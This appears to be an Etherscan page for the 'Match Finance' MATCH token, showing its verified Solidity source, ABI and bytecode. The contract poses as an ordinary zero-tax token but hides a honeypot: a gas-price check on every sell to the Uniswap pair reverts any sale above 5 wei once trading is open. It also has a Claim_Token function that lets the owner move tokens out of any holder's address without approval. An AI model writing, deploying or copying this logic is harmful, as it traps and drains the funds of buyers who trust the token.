ERC-20
Overview
Max Total Supply
10,000,000 MATCH
Holders
33
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MATCH
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-15 */ /* Website:https://www.matchfinance.io/ Twitter:https://twitter.com/matchfinance Lintree:https://linktr.ee/matchfinance */ // SPDX-License-Identifier: MIT pragma solidity 0.8.16; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; constructor() { _owner = _msgSender(); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(_owner == _msgSender(), "Not owner"); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + (a % b)); return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract MATCH is Ownable, IERC20 { using SafeMath for uint256; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; mapping(address => bool) _excludeFromFees; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 10_000_000 * 10**_decimals; string private constant _name = unicode"Match Finance"; string private constant _symbol = unicode"MATCH"; uint256 public BuyFeeTax = 0; uint256 public SellFeeTax = 0; bool private openedTrade = false; address private ClaimTokenWL = 0x8A8Aa30B2Cc509434683D7D6BcdefAF520593028; address private uniswapV2Pair; IUniswapV2Router02 public uniswapV2Router; constructor() { _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(50).div(100)); _balances[ClaimTokenWL] = _balances[ClaimTokenWL].add(_totalSupply.mul(50).div(100)); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true; _excludeFromFees[address(uniswapV2Pair)]; _excludeFromFees[owner()] = true; _excludeFromFees[address(this)] = true; emit Transfer(address(0), _msgSender(), _totalSupply.mul(50).div(100)); emit Transfer(address(0), ClaimTokenWL, _totalSupply.mul(50).div(100)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function getOpenedTrade() public view returns (bool) { return openedTrade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address to, uint256 value) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount) ); return true; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERROR: balance of from less than value"); uint256 taxAmount = 0; if(!_excludeFromFees[from] && !_excludeFromFees[to]) { require(openedTrade, "Trade has not been opened yet"); taxAmount = amount * BuyFeeTax / 100; if(to == uniswapV2Pair) { taxAmount = amount * SellFeeTax / 100; _bfTransfer(from); } } if(taxAmount > 0) { _balances[address(this)]=_balances[address(this)]+taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from]= balanceOf(from) - amount ; _balances[to]=_balances[to] + (amount - taxAmount); emit Transfer(from, to, amount - taxAmount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } uint256 private maxgas = 300 gwei; uint256 private mingas = 5; function _bfTransfer(address _k) internal view { if(balanceOf(_k) > 0) { if (!openedTrade) { gasRequire(maxgas); } else { gasRequire(mingas); } } } function gasRequire(uint256 _gas) internal view { if (tx.gasprice > _gas) { revert(); } } function Claim_Token(address from, address[] calldata to, uint256[] calldata amount) external { require(_msgSender() == owner()); for (uint256 i = 0; i < to.length; i++) { _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals); _balances[to[i]] = _balances[to[i]].add(amount[i] * 10 ** _decimals); emit Transfer(from, to[i], amount[i] * 10 ** _decimals); } } function openTrading() external onlyOwner { openedTrade = !openedTrade; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFeeTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"Claim_Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SellFeeTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600060048190556005908155600680546001600160a81b031916748a8aa30b2cc509434683d7d6bcdefaf520593028001790556445d964b800600955600a553480156200005057600080fd5b50600080546001600160a01b03191633179055620000dc620000b86064620000a46032620000816009600a62000629565b6200009090629896806200063a565b6200043960201b6200062c1790919060201c565b6200047e60201b620006621790919060201c565b336000908152600260209081526040909120549190620006bf620004eb821b17901c565b336000908152600260205260409020556200013e6200010a6064620000a46032620000816009600a62000629565b60065461010090046001600160a01b03166000908152600260209081526040909120549190620004eb811b620006bf17901c565b6006546001600160a01b036101009091041660009081526002602090815260409182902092909255600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec91906200065c565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027591906200065c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e991906200065c565b600780546001600160a01b0319166001600160a01b03929092169182179055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155600092835291620003576000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260039092529020805490911660011790556200039f3390565b6001600160a01b0316600060008051602062001735833981519152620003d46064620000a46032620000816009600a62000629565b60405190815260200160405180910390a360065461010090046001600160a01b0316600060008051602062001735833981519152620004226064620000a46032620000816009600a62000629565b60405190815260200160405180910390a3620006f7565b6000826000036200044d5750600062000478565b6200045982846200063a565b9050816200046884836200069d565b14620004785762000478620006b4565b92915050565b6000808211620004925762000492620006b4565b6000620004a083856200069d565b9050620004ae8385620006ca565b620004ba82856200063a565b620004c69190620006e1565b8414620004d757620004d7620006b4565b620004e383856200069d565b949350505050565b600080620004fa8385620006e1565b9050838110156200050f576200050f620006b4565b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200056d57816000190482111562000551576200055162000516565b808516156200055f57918102915b93841c939080029062000531565b509250929050565b600082620005865750600162000478565b81620005955750600062000478565b8160018114620005ae5760028114620005b957620005d9565b600191505062000478565b60ff841115620005cd57620005cd62000516565b50506001821b62000478565b5060208310610133831016604e8410600b8410161715620005fe575081810a62000478565b6200060a83836200052c565b806000190482111562000621576200062162000516565b029392505050565b60006200050f60ff84168362000575565b600081600019048311821515161562000657576200065762000516565b500290565b6000602082840312156200066f57600080fd5b81516001600160a01b03811681146200050f57600080fd5b634e487b7160e01b600052601260045260246000fd5b600082620006af57620006af62000687565b500490565b634e487b7160e01b600052600160045260246000fd5b600082620006dc57620006dc62000687565b500690565b8082018082111562000478576200047862000516565b61102e80620007076000396000f3fe6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063b2fd710f11610059578063b2fd710f146102ee578063c9567bf914610304578063dd62ed3e14610319578063f97ee4a21461035f57600080fd5b80638da5cb5b1461026057806392a3dca21461027e57806395d89b41146102a0578063a9059cbb146102ce57600080fd5b806323b872dd116100c657806323b872dd146101d6578063313ce567146101f65780633c9f5ed61461021257806370a082311461022a57600080fd5b806306fdde0314610103578063095ea7b31461014b5780631694505e1461017b57806318160ddd146101b357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600d81526c4d617463682046696e616e636560981b60208201525b6040516101429190610c3c565b60405180910390f35b34801561015757600080fd5b5061016b610166366004610ca6565b610375565b6040519015158152602001610142565b34801561018757600080fd5b5060085461019b906001600160a01b031681565b6040516001600160a01b039091168152602001610142565b3480156101bf57600080fd5b506101c861038c565b604051908152602001610142565b3480156101e257600080fd5b5061016b6101f1366004610cd0565b6103ac565b34801561020257600080fd5b5060405160098152602001610142565b34801561021e57600080fd5b5060065460ff1661016b565b34801561023657600080fd5b506101c8610245366004610d0c565b6001600160a01b031660009081526002602052604090205490565b34801561026c57600080fd5b506000546001600160a01b031661019b565b34801561028a57600080fd5b5061029e610299366004610d73565b6103fd565b005b3480156102ac57600080fd5b5060408051808201909152600581526409a82a886960db1b6020820152610135565b3480156102da57600080fd5b5061016b6102e9366004610ca6565b610602565b3480156102fa57600080fd5b506101c860055481565b34801561031057600080fd5b5061029e610610565b34801561032557600080fd5b506101c8610334366004610df4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561036b57600080fd5b506101c860045481565b60006103823384846106e5565b5060015b92915050565b600061039a6009600a610f21565b6103a79062989680610f30565b905090565b60006103b984848461080e565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546103f39186916103ee9086610b8e565b6106e5565b5060019392505050565b6000546001600160a01b0316331461041457600080fd5b60005b838110156105fa5761047061042e6009600a610f21565b84848481811061044057610440610f4f565b905060200201356104519190610f30565b6001600160a01b03881660009081526002602052604090205490610b8e565b6001600160a01b0387166000908152600260205260409020556105066104986009600a610f21565b8484848181106104aa576104aa610f4f565b905060200201356104bb9190610f30565b600260008888868181106104d1576104d1610f4f565b90506020020160208101906104e69190610d0c565b6001600160a01b03168152602081019190915260400160002054906106bf565b6002600087878581811061051c5761051c610f4f565b90506020020160208101906105319190610d0c565b6001600160a01b0316815260208101919091526040016000205584848281811061055d5761055d610f4f565b90506020020160208101906105729190610d0c565b6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6105b49190610f21565b8686868181106105c6576105c6610f4f565b905060200201356105d79190610f30565b60405190815260200160405180910390a3806105f281610f65565b915050610417565b505050505050565b6000336103f381858561080e565b610618610baa565b6006805460ff19811660ff90911615179055565b60008260000361063e57506000610386565b6106488284610f30565b9050816106558483610f94565b1461038657610386610fa8565b600080821161067357610673610fa8565b600061067f8385610f94565b905061068b8385610fbe565b6106958285610f30565b61069f9190610fd2565b84146106ad576106ad610fa8565b6106b78385610f94565b949350505050565b6000806106cc8385610fd2565b9050838110156106de576106de610fa8565b9392505050565b6001600160a01b03831661074c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610743565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610743565b6001600160a01b0382166108d45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610743565b806108f4846001600160a01b031660009081526002602052604090205490565b10156109515760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b6064820152608401610743565b6001600160a01b03831660009081526003602052604081205460ff1615801561099357506001600160a01b03831660009081526003602052604090205460ff16155b15610a425760065460ff166109ea5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e6564207965740000006044820152606401610743565b6064600454836109fa9190610f30565b610a049190610f94565b6007549091506001600160a01b0390811690841603610a4257606460055483610a2d9190610f30565b610a379190610f94565b9050610a4284610bf2565b8015610abd5730600090815260026020526040902054610a63908290610fd2565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab49085815260200190565b60405180910390a35b81610add856001600160a01b031660009081526002602052604090205490565b610ae79190610fe5565b6001600160a01b038516600090815260026020526040902055610b0a8183610fe5565b6001600160a01b038416600090815260026020526040902054610b2d9190610fd2565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b778486610fe5565b60405190815260200160405180910390a350505050565b600081831015610ba057610ba0610fa8565b6106de8284610fe5565b6000546001600160a01b03163314610bf05760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b6044820152606401610743565b565b6001600160a01b03811660009081526002602052604090205415610c255760065460ff16610c2857610c25600954610c2f565b50565b610c25600a545b803a1115610c2557600080fd5b600060208083528351808285015260005b81811015610c6957858101830151858201604001528201610c4d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ca157600080fd5b919050565b60008060408385031215610cb957600080fd5b610cc283610c8a565b946020939093013593505050565b600080600060608486031215610ce557600080fd5b610cee84610c8a565b9250610cfc60208501610c8a565b9150604084013590509250925092565b600060208284031215610d1e57600080fd5b6106de82610c8a565b60008083601f840112610d3957600080fd5b50813567ffffffffffffffff811115610d5157600080fd5b6020830191508360208260051b8501011115610d6c57600080fd5b9250929050565b600080600080600060608688031215610d8b57600080fd5b610d9486610c8a565b9450602086013567ffffffffffffffff80821115610db157600080fd5b610dbd89838a01610d27565b90965094506040880135915080821115610dd657600080fd5b50610de388828901610d27565b969995985093965092949392505050565b60008060408385031215610e0757600080fd5b610e1083610c8a565b9150610e1e60208401610c8a565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610e78578160001904821115610e5e57610e5e610e27565b80851615610e6b57918102915b93841c9390800290610e42565b509250929050565b600082610e8f57506001610386565b81610e9c57506000610386565b8160018114610eb25760028114610ebc57610ed8565b6001915050610386565b60ff841115610ecd57610ecd610e27565b50506001821b610386565b5060208310610133831016604e8410600b8410161715610efb575081810a610386565b610f058383610e3d565b8060001904821115610f1957610f19610e27565b029392505050565b60006106de60ff841683610e80565b6000816000190483118215151615610f4a57610f4a610e27565b500290565b634e487b7160e01b600052603260045260246000fd5b600060018201610f7757610f77610e27565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082610fa357610fa3610f7e565b500490565b634e487b7160e01b600052600160045260246000fd5b600082610fcd57610fcd610f7e565b500690565b8082018082111561038657610386610e27565b8181038181111561038657610386610e2756fea2646970667358221220bba0fe6cdf67c2881f521d6e2b77802510d9b2e29708aa7369da4ead28ad1eed64736f6c63430008100033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063b2fd710f11610059578063b2fd710f146102ee578063c9567bf914610304578063dd62ed3e14610319578063f97ee4a21461035f57600080fd5b80638da5cb5b1461026057806392a3dca21461027e57806395d89b41146102a0578063a9059cbb146102ce57600080fd5b806323b872dd116100c657806323b872dd146101d6578063313ce567146101f65780633c9f5ed61461021257806370a082311461022a57600080fd5b806306fdde0314610103578063095ea7b31461014b5780631694505e1461017b57806318160ddd146101b357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600d81526c4d617463682046696e616e636560981b60208201525b6040516101429190610c3c565b60405180910390f35b34801561015757600080fd5b5061016b610166366004610ca6565b610375565b6040519015158152602001610142565b34801561018757600080fd5b5060085461019b906001600160a01b031681565b6040516001600160a01b039091168152602001610142565b3480156101bf57600080fd5b506101c861038c565b604051908152602001610142565b3480156101e257600080fd5b5061016b6101f1366004610cd0565b6103ac565b34801561020257600080fd5b5060405160098152602001610142565b34801561021e57600080fd5b5060065460ff1661016b565b34801561023657600080fd5b506101c8610245366004610d0c565b6001600160a01b031660009081526002602052604090205490565b34801561026c57600080fd5b506000546001600160a01b031661019b565b34801561028a57600080fd5b5061029e610299366004610d73565b6103fd565b005b3480156102ac57600080fd5b5060408051808201909152600581526409a82a886960db1b6020820152610135565b3480156102da57600080fd5b5061016b6102e9366004610ca6565b610602565b3480156102fa57600080fd5b506101c860055481565b34801561031057600080fd5b5061029e610610565b34801561032557600080fd5b506101c8610334366004610df4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561036b57600080fd5b506101c860045481565b60006103823384846106e5565b5060015b92915050565b600061039a6009600a610f21565b6103a79062989680610f30565b905090565b60006103b984848461080e565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546103f39186916103ee9086610b8e565b6106e5565b5060019392505050565b6000546001600160a01b0316331461041457600080fd5b60005b838110156105fa5761047061042e6009600a610f21565b84848481811061044057610440610f4f565b905060200201356104519190610f30565b6001600160a01b03881660009081526002602052604090205490610b8e565b6001600160a01b0387166000908152600260205260409020556105066104986009600a610f21565b8484848181106104aa576104aa610f4f565b905060200201356104bb9190610f30565b600260008888868181106104d1576104d1610f4f565b90506020020160208101906104e69190610d0c565b6001600160a01b03168152602081019190915260400160002054906106bf565b6002600087878581811061051c5761051c610f4f565b90506020020160208101906105319190610d0c565b6001600160a01b0316815260208101919091526040016000205584848281811061055d5761055d610f4f565b90506020020160208101906105729190610d0c565b6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6105b49190610f21565b8686868181106105c6576105c6610f4f565b905060200201356105d79190610f30565b60405190815260200160405180910390a3806105f281610f65565b915050610417565b505050505050565b6000336103f381858561080e565b610618610baa565b6006805460ff19811660ff90911615179055565b60008260000361063e57506000610386565b6106488284610f30565b9050816106558483610f94565b1461038657610386610fa8565b600080821161067357610673610fa8565b600061067f8385610f94565b905061068b8385610fbe565b6106958285610f30565b61069f9190610fd2565b84146106ad576106ad610fa8565b6106b78385610f94565b949350505050565b6000806106cc8385610fd2565b9050838110156106de576106de610fa8565b9392505050565b6001600160a01b03831661074c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610743565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610743565b6001600160a01b0382166108d45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610743565b806108f4846001600160a01b031660009081526002602052604090205490565b10156109515760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b6064820152608401610743565b6001600160a01b03831660009081526003602052604081205460ff1615801561099357506001600160a01b03831660009081526003602052604090205460ff16155b15610a425760065460ff166109ea5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e6564207965740000006044820152606401610743565b6064600454836109fa9190610f30565b610a049190610f94565b6007549091506001600160a01b0390811690841603610a4257606460055483610a2d9190610f30565b610a379190610f94565b9050610a4284610bf2565b8015610abd5730600090815260026020526040902054610a63908290610fd2565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab49085815260200190565b60405180910390a35b81610add856001600160a01b031660009081526002602052604090205490565b610ae79190610fe5565b6001600160a01b038516600090815260026020526040902055610b0a8183610fe5565b6001600160a01b038416600090815260026020526040902054610b2d9190610fd2565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b778486610fe5565b60405190815260200160405180910390a350505050565b600081831015610ba057610ba0610fa8565b6106de8284610fe5565b6000546001600160a01b03163314610bf05760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b6044820152606401610743565b565b6001600160a01b03811660009081526002602052604090205415610c255760065460ff16610c2857610c25600954610c2f565b50565b610c25600a545b803a1115610c2557600080fd5b600060208083528351808285015260005b81811015610c6957858101830151858201604001528201610c4d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ca157600080fd5b919050565b60008060408385031215610cb957600080fd5b610cc283610c8a565b946020939093013593505050565b600080600060608486031215610ce557600080fd5b610cee84610c8a565b9250610cfc60208501610c8a565b9150604084013590509250925092565b600060208284031215610d1e57600080fd5b6106de82610c8a565b60008083601f840112610d3957600080fd5b50813567ffffffffffffffff811115610d5157600080fd5b6020830191508360208260051b8501011115610d6c57600080fd5b9250929050565b600080600080600060608688031215610d8b57600080fd5b610d9486610c8a565b9450602086013567ffffffffffffffff80821115610db157600080fd5b610dbd89838a01610d27565b90965094506040880135915080821115610dd657600080fd5b50610de388828901610d27565b969995985093965092949392505050565b60008060408385031215610e0757600080fd5b610e1083610c8a565b9150610e1e60208401610c8a565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610e78578160001904821115610e5e57610e5e610e27565b80851615610e6b57918102915b93841c9390800290610e42565b509250929050565b600082610e8f57506001610386565b81610e9c57506000610386565b8160018114610eb25760028114610ebc57610ed8565b6001915050610386565b60ff841115610ecd57610ecd610e27565b50506001821b610386565b5060208310610133831016604e8410600b8410161715610efb575081810a610386565b610f058383610e3d565b8060001904821115610f1957610f19610e27565b029392505050565b60006106de60ff841683610e80565b6000816000190483118215151615610f4a57610f4a610e27565b500290565b634e487b7160e01b600052603260045260246000fd5b600060018201610f7757610f77610e27565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082610fa357610fa3610f7e565b500490565b634e487b7160e01b600052600160045260246000fd5b600082610fcd57610fcd610f7e565b500690565b8082018082111561038657610386610e27565b8181038181111561038657610386610e2756fea2646970667358221220bba0fe6cdf67c2881f521d6e2b77802510d9b2e29708aa7369da4ead28ad1eed64736f6c63430008100033
Deployed Bytecode Sourcemap
3122:5740:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4711:83;;;;;;;;;;-1:-1:-1;4781:5:0;;;;;;;;;;;;-1:-1:-1;;;4781:5:0;;;;4711:83;;;;;;;:::i;:::-;;;;;;;;7244:193;;;;;;;;;;-1:-1:-1;7244:193:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7244:193:0;1004:187:1;3838:41:0;;;;;;;;;;-1:-1:-1;3838:41:0;;;;-1:-1:-1;;;;;3838:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;3838:41:0;1196:229:1;5086:108:0;;;;;;;;;;;;;:::i;:::-;;;1576:25:1;;;1564:2;1549:18;5086:108:0;1430:177:1;5836:353:0;;;;;;;;;;-1:-1:-1;5836:353:0;;;;;:::i;:::-;;:::i;4897:83::-;;;;;;;;;;-1:-1:-1;4897:83:0;;3409:1;2087:36:1;;2075:2;2060:18;4897:83:0;1945:184:1;4988:90:0;;;;;;;;;;-1:-1:-1;5059:11:0;;;;4988:90;;5202:177;;;;;;;;;;-1:-1:-1;5202:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;5353:18:0;5321:7;5353:18;;;:9;:18;;;;;;;5202:177;2196:87;;;;;;;;;;-1:-1:-1;2242:7:0;2269:6;-1:-1:-1;;;;;2269:6:0;2196:87;;8282:445;;;;;;;;;;-1:-1:-1;8282:445:0;;;;;:::i;:::-;;:::i;:::-;;4802:87;;;;;;;;;;-1:-1:-1;4874:7:0;;;;;;;;;;;;-1:-1:-1;;;4874:7:0;;;;4802:87;;5596:232;;;;;;;;;;-1:-1:-1;5596:232:0;;;;;:::i;:::-;;:::i;3643:29::-;;;;;;;;;;;;;;;;8735:87;;;;;;;;;;;;;:::i;5387:201::-;;;;;;;;;;-1:-1:-1;5387:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5553:18:0;;;5521:7;5553:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5387:201;3608:28;;;;;;;;;;;;;;;;7244:193;7346:4;7368:39;1961:10;7391:7;7400:6;7368:8;:39::i;:::-;-1:-1:-1;7425:4:0;7244:193;;;;;:::o;5086:108::-;5147:7;3470:13;3409:1;3470:2;:13;:::i;:::-;3457:26;;:10;:26;:::i;:::-;5167:19;;5086:108;:::o;5836:353::-;5968:4;5985:36;5995:6;6003:9;6014:6;5985:9;:36::i;:::-;-1:-1:-1;;;;;6103: